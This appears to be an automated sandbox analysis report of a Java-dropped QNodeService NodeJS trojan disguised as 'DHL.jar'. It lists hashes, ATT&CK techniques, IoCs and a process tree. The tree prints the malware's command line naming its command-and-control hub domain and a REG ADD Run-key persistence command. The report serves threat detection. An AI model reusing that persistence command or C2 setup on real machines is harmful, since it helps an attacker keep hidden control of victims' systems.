qnodeservice | d858a274f48d62d710ec65a7022a5adc6461b09dd42d5c075b3525cce845036c

General

Target
DHL.jar
Size 103KB
Sample201014-hdy7l58pm2
SHA256 d858a274f48d62d710ec65a7022a5adc6461b09dd42d5c075b3525cce845036c
MD5 681bbe7088c5ab72967e9d1b3a45de83
SHA1 ac74a19ce1612952dae1bc40a5e726f4671d550a
SHA512 96b5e6b28bd94c2c4ab8efde121e45336faf5cf6d3d6772d354c75b1dddf24426f36a0d73de388184e71190d331acb20d9684d9f03b14ec7ebf42755413bbe5a
MD5 SHA1 SHA512

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2180	node.exe
1364	node.exe
3144	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\a728b905-d7ba-4c7c-863c-2e9d38b65d84 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adad-168.dat	js
behavioral2/files/0x000100000001adad-172.dat	js
behavioral2/files/0x000100000001adad-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2180	node.exe
2180	node.exe
2180	node.exe
2180	node.exe
1364	node.exe
1364	node.exe
1364	node.exe
1364	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3828 wrote to memory of 2240	3828	java.exe	76
PID 3828 wrote to memory of 2240	3828	java.exe	76
PID 2240 wrote to memory of 2180	2240	javaw.exe	78
PID 2240 wrote to memory of 2180	2240	javaw.exe	78
PID 2180 wrote to memory of 1364	2180	node.exe	80
PID 2180 wrote to memory of 1364	2180	node.exe	80
PID 1364 wrote to memory of 3144	1364	node.exe	81
PID 1364 wrote to memory of 3144	1364	node.exe	81
PID 3144 wrote to memory of 1228	3144	node.exe	83
PID 3144 wrote to memory of 1228	3144	node.exe	83
PID 1228 wrote to memory of 3600	1228	cmd.exe	84
PID 1228 wrote to memory of 3600	1228	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DHL.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2feca94e.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Gju2jC\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1364
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Gju2jC\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a728b905-d7ba-4c7c-863c-2e9d38b65d84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1228
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a728b905-d7ba-4c7c-863c-2e9d38b65d84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1364-173-0x000002D5C6080000-0x000002D5C6081000-memory.dmp

Download

memory/2180-170-0x0000010BDAC00000-0x0000010BDAC01000-memory.dmp

Download

memory/3144-177-0x00000160821C0000-0x00000160821C1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads